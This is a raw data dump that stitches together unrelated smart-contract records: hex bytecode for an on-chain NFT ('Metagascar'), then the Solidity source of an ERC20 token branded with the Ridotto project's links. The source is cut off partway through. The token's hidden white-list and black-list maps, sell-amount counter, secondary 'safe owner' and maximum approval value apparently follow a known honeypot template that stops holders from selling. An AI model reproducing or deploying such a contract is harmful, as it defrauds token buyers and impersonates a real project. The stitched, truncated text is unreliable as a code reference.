b957600080fd5b503561121e565b3480156105cc57600080fd5b506102ce611312565b3480156105e157600080fd5b5061022f611321565b3480156105f657600080fd5b506103236004803603604081101561060d57600080fd5b506001600160a01b0381351690602001351515611381565b34801561063157600080fd5b506103236004803603608081101561064857600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561068357600080fd5b82018360208201111561069557600080fd5b803590602001918460018302840111640100000000831117156106b757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611486945050505050565b34801561070457600080fd5b5061022f6004803603602081101561071b57600080fd5b50356114e4565b610323611a5f565b34801561073657600080fd5b506102066004803603604081101561074d57600080fd5b506001600160a01b0381358116916020013516611ac1565b34801561077157600080fd5b5061022f6004803603602081101561078857600080fd5b5035611aef565b34801561079b57600080fd5b50610323600480360360208110156107b257600080fd5b50356001600160a01b0316611bdf565b3480156107ce57600080fd5b50610323600480360360208110156107e557600080fd5b5035611c92565b60006001600160e01b0319821663780e9d6360e01b1480610811575061081182611cf9565b90505b919050565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b5050505050905090565b60006108ba82611d39565b6108f55760405162461bcd60e51b815260040180806020018281038252602c815260200180612ddd602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061091c82610ffe565b9050806001600160a01b0316836001600160a01b0316141561096f5760405162461bcd60e51b8152600401808060200182810382526021815260200180612e526021913960400191505060405180910390fd5b806001600160a01b0316610981611d56565b6001600160a01b031614806109a257506109a28161099d611d56565b611ac1565b6109dd5760405162461bcd60e51b8152600401808060200182810382526038815260200180612c156038913960400191505060405180910390fd5b6109e78383611d5a565b505050565b60085490565b6060610811826040518060400160405280600d81526020016c44524956455741595354594c4560981b8152506011805480602002602001604051908101604052809291908181526020016000905b82821015610aeb5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b505050505081526020019060010190610a40565b50505050611dc8565b610b05610aff611d56565b82611f26565b610b405760405162461bcd60e51b8152600401808060200182810382526031815260200180612e736031913960400191505060405180910390fd5b6109e7838383611fca565b6000610b568361114d565b8210610b935760405162461bcd60e51b815260040180806020018281038252602b815260200180612a16602b913960400191505060405180910390fd5b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6002600a541415610c14576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600a556103e881118015610c2b5750611f4181105b610c6f576040805162461bcd60e51b815260206004820152601060248201526f151bdad95b881251081a5b9d985b1a5960821b604482015290519081900360640190fd5b34600c541115610cbc576040805162461bcd60e51b8152602060048201526013602482015272506c6561736520706179206d696e742066656560681b604482015290519081900360640190fd5b610ccd610cc7611d56565b826120fa565b506001600a55565b60606108118260405180604001604052806008815260200167484f4d4553495a4560c01b815250600e805480602002602001604051908101604052809291908181526020016000905b82821015610aeb5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610db55780601f10610d8a57610100808354040283529160200191610db5565b820191906000526020600020905b815481529060010190602001808311610d9857829003601f168201915b505050505081526020019060010190610d1e565b610dd1611d56565b6001600160a01b0316610de2611312565b6001600160a01b031614610e2b576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b6040514790339082156108fc029083906000818181858888f19350505050158015610e5a573d6000803e3d6000fd5b5050565b6109e783838360405180602001604052806000815250611486565b6002600a541415610ed1576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600a55610ede611d56565b6001600160a01b0316610eef611312565b6001600160a01b031614610f38576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b600081118015610f4957506103e981105b610f8d576040805162461bcd60e51b815260206004820152601060248201526f151bdad95b881251081a5b9d985b1a5960821b604482015290519081900360640190fd5b610ccd610cc7611312565b6000610fa26109ec565b8210610fdf5760405162461bcd60e51b815260040180806020018281038252602c815260200180612ea4602c913960400191505060405180910390fd5b60088281548110610fec57fe5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806108115760405162461bcd60e51b8152600401808060200182810382526029815260200180612d746029913960400191505060405180910390fd5b600c5481565b60606108118260405180604001604052806009815260200168484f4d455354594c4560b81b815250600f805480602002602001604051908101604052809291908181526020016000905b82821015610aeb5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156111395780601f1061110e57610100808354040283529160200191611139565b820191906000526020600020905b81548152906001019060200180831161111c57829003601f168201915b5050505050815260200190600101906110a2565b60006001600160a01b0382166111945760405162461bcd60e51b815260040180806020018281038252602a815260200180612d4a602a913960400191505060405180910390fd5b506001600160a01b031660009081526003602052604090205490565b6111b8611d56565b6001600160a01b03166111c9611312565b6001600160a01b031614611212576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b61121c6000612114565b565b60606108118260405180604001604052806008815260200167445249564557415960c01b8152506010805480602002602001604051908101604052809291908181526020016000905b82821015610aeb5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156112fe5780601f106112d3576101008083540402835291602001916112fe565b820191906000526020600020905b8154815290600101906020018083116112e157829003601f168201915b505050505081526020019060010190611267565b600b546001600160a01b031690565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156108a55780601f1061087a576101008083540402835291602001916108a5565b611389611d56565b6001600160a01b0316826001600160a01b031614156113ef576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b80600560006113fc611d56565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155611440611d56565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611497611491611d56565b83611f26565b6114d25760405162461bcd60e51b8152600401808060200182810382526031815260200180612e736031913960400191505060405180910390fd5b6114de84848484612166565b50505050565b60606114ee6129c5565b60405180610120016040528060fd8152602001612c4d60fd9139815261151383611aef565b8160016020020181905250604051806060016040528060288152602001612ed060289139604082015261154583610cd5565b60608083019190915260408051918201905260288082526129ee6020830139608082015261157283611058565b60a082015260408051606081019091526028808252612bed602083013960c082015261159d836109f2565b60e08201908152604080518082018252600d81526c1e17ba32bc3a1f1e17b9bb339f60991b6020808301919091526101008501829052845181860151848701516060880151608089015160a08a015160c08b015199519851865160009b979a969995989497939692959394929392918201918291908c01908083835b602083106116385780518252601f199092019160209182019101611619565b51815160209384036101000a60001901801990921691161790528c5191909301928c0191508083835b602083106116805780518252601f199092019160209182019101611661565b51815160209384036101000a60001901801990921691161790528b5191909301928b0191508083835b602083106116c85780518252601f1990920191602091820191016116a9565b51815160209384036101000a60001901801990921691161790528a5191909301928a0191508083835b602083106117105780518252601f1990920191602091820191016116f1565b51815160209384036101000a600019018019909216911617905289519190930192890191508083835b602083106117585780518252601f199092019160209182019101611739565b51815160209384036101000a600019018019909216911617905288519190930192880191508083835b602083106117a05780518252601f199092019160209182019101611781565b51815160209384036101000a600019018019909216911617905287519190930192870191508083835b602083106117e85780518252601f1990920191602091820191016117c9565b51815160209384036101000a600019018019909216911617905286519190930192860191508083835b602083106118305780518252601f199092019160209182019101611811565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106118785780518252601f199092019160209182019101611859565b6001836020036101000a0380198251168184511680821785525050505050509050019950505050505050505050604051602081830303815290604052905060006119c16118c4866121b8565b6118cd84612282565b6040516020018080757b226e616d65223a20224d657461676173636172202360501b81525060160183805190602001908083835b602083106119205780518252601f199092019160209182019101611901565b6001836020036101000a03801982511681845116808217855250505050505090500180612a7361010491396101040182805190602001908083835b6020831061197a5780518252601f19909201916020918201910161195b565b6001836020036101000a0380198251168184511680821785525050505050509050018061227d60f01b81525060020192505050604051602081830303815290604052612282565b90508060405160200180807f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815250601d0182805190602001908083835b60208310611a1e5780518252601f1990920191602091820191016119ff565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040529150819350505050919050565b611a67611d56565b6001600160a01b0316611a78611312565b6001600160a01b03161461121c576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b606061081182604051806040016040528060048152602001631310539160e21b815250600d805480602002602001604051908101604052809291908181526020016000905b82821015610aeb5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611bcb5780601f10611ba057610100808354040283529160200191611bcb565b820191906000526020600020905b815481529060010190602001808311611bae57829003601f168201915b505050505081526020019060010190611b34565b611be7611d56565b6001600160a01b0316611bf8611312565b6001600160a01b031614611c41576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b6001600160a01b038116611c865760405162461bcd60e51b8152600401808060200182810382526026815260200180612b776026913960400191505060405180910390fd5b611c8f81612114565b50565b611c9a611d56565b6001600160a01b0316611cab611312565b6001600160a01b031614611cf4576040805162461bcd60e51b81526020600482018190526024820152600080516020612e09833981519152604482015290519081900360640190fd5b600c55565b60006001600160e01b031982166380ac58cd60e01b1480611d2a57506001600160e01b03198216635b5e139f60e01b145b806108115750610811826123c4565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611d8f82610ffe565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60606000611e8d84611dd9876121b8565b6040516020018083805190602001908083835b60208310611e0b5780518252601f199092019160209182019101611dec565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611e535780518252601f199092019160209182019101611e34565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526123dd565b905060008384518381611e9c57fe5b0681518110611ea757fe5b60200260200101519050806040516020018082805190602001908083835b60208310611ee45780518252601f199092019160209182019101611ec5565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052905080925050509392505050565b6000611f3182611d39565b611f6c5760405162461bcd60e51b815260040180806020018281038252602c815260200180612bc1602c913960400191505060405180910390fd5b6000611f7783610ffe565b9050806001600160a01b0316846001600160a01b03161480611fb25750836001600160a01b0316611fa7846108af565b6001600160a01b0316145b80611fc25750611fc28185611ac1565b949350505050565b826001600160a01b0316611fdd82610ffe565b6001600160a01b0316146120225760405162461bcd60e51b8152600401808060200182810382526029815260200180612e296029913960400191505060405180910390fd5b6001600160a01b0382166120675760405162461bcd60e51b8152600401808060200182810382526024815260200180612b9d6024913960400191505060405180910390fd5b612072838383612457565b61207d600082611d5a565b6001600160a01b038084166000818152600360209081526040808320805460001901905593861680835284832080546001019055858352600290915283822080546001600160a01b031916821790559251849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610e5a8282604051806020016040528060008152506124e0565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612171848484611fca565b61217d84848484612532565b6114de5760405162461bcd60e51b8152600401808060200182810382526032815260200180612a416032913960400191505060405180910390fd5b6060816121dd57506040805180820190915260018152600360fc1b6020820152610814565b8160005b81156121f557600101600a820491506121e1565b60008167ffffffffffffffff8111801561220e57600080fd5b506040519080825280601f01601f191660200182016040528015612239576020820181803683370190505b5090505b8415611fc25760001990910190600a850660300160f81b81838151811061226057fe5b60200101906001600160f81b031916908160001a905350600a8504945061223d565b8051606090806122a2575050604080516020810190915260008152610814565b6004600360028301040260006020820167ffffffffffffffff811180156122c857600080fd5b506040519080825280601f01601f1916602001820160405280156122f3576020820181803683370190505b5090506000604051806060016040528060408152602001612d9d604091399050600181016020830160005b8681101561237f576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161231e565b50600386066001811461239957600281146123aa576123b6565b613d3d60f01b6001198301526123b6565b603d60f81b6000198301525b505050918152949350505050565b6001600160e01b031981166301ffc9a760e01b14919050565b6000816040516020018082805190602001908083835b602083106124125780518252601f1990920191602091820191016123f3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012060001c9050919050565b6124628383836109e7565b6001600160a01b03831661247e57612479816126e7565b6124a1565b816001600160a01b0316836001600160a01b0316146124a1576124a1838261272b565b6001600160a01b0382166124bd576124b8816127c0565b6109e7565b826001600160a01b0316826001600160a01b0316146109e7576109e7828261284e565b6124ea8383612892565b6124f76000848484612532565b6109e75760405162461bcd60e51b8152600401808060200182810382526032815260200180612a416032913960400191505060405180910390fd5b6000612546846001600160a01b03166129bf565b156126dc57836001600160a01b031663150b7a02612562611d56565b8786866040518563ffffffff1660e01b815260040180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156125d55781810151838201526020016125bd565b50505050905090810190601f1680156126025780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561262457600080fd5b505af192505050801561264957506040513d602081101561264457600080fd5b505160015b6126c2573d808015612677576040519150601f19603f3d011682016040523d82523d6000602084013e61267c565b606091505b5080516126ba5760405162461bcd60e51b8152600401808060200182810382526032815260200180612a416032913960400191505060405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611fc2565b506001949350505050565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b600060016127388461114d565b600084815260076020526040902054919003915080821461278d576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600880546000838152600960205260408120546000198301939092849081106127e557fe5b90600052602060002001549050806008838154811061280057fe5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061283257fe5b6001900381819060005260206000200160009055905550505050565b60006128598361114d565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166128ed576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b6128f681611d39565b15612948576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61295460008383612457565b6001600160a01b038216600081815260036020908152604080832080546001019055848352600290915280822080546001600160a01b0319168417905551839291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b6040518061012001604052806009905b60608152602001906001900390816129d5579050509056fe3c2f746578743e3c7465787420783d2231302220793d2236302220636c6173733d2262617365223e455243373231456e756d657261626c653a206f776e657220696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e746572222c20226465736372697074696f6e223a20224d657461676173636172206172652072616e646f6d697a656420706c6f7473206f66206c616e642067656e65726174656420616e642073746f726564206f6e20636861696e2e20496d616765732c20616e64206f746865722066756e6374696f6e616c6974792061726520696e74656e74696f6e616c6c79206f6d697474656420666f72206f746865727320746f20696e746572707265742e204665656c206672656520746f20757365204d65746167617363617220696e20616e792077617920796f752077616e742e222c2022696d616765223a2022646174613a696d6167652f7376672b786d6c3b6261736536342c4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e3c2f746578743e3c7465787420783d2231302220793d2238302220636c6173733d2262617365223e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f73766722207072657365727665417370656374526174696f3d22784d696e594d696e206d656574222076696577426f783d223020302033353020333530223e3c7374796c653e2e62617365207b2066696c6c3a2077686974653b20666f6e742d66616d696c793a2073657269663b20666f6e742d73697a653a20313470783b207d3c2f7374796c653e3c726563742077696474683d223130302522206865696768743d2231303025222066696c6c3d22626c61636b22202f3e3c7465787420783d2231302220793d2232302220636c6173733d2262617365223e4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f4552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564455243373231456e756d657261626c653a20676c6f62616c20696e646578206f7574206f6620626f756e64733c2f746578743e3c7465787420783d2231302220793d2234302220636c6173733d2262617365223ea2646970667358221220cc4fbd8cf40a20116e350a4b07e8cce9e2cfe2b086086540dbdabb765131ae0064736f6c63430007060033
[ 3, 4, 5 ]
0xf2870bbd6ac4b0c7b57da8e247e556c16c086dd8
pragma solidity ^0.6.6; /** πŸ”— Ridotto Links πŸ–₯ Website: https://ridotto.io/ πŸ’¬ Twitter: https://twitter.com/ridotto_io πŸ’¬ Telegram: https://t.me/ridotto_community πŸ’¬ Medium: https://ridotto-io.medium.com/ πŸ’¬ Discord: https://discord.com/invite/qAXNArk2KU */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Ridotto is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return 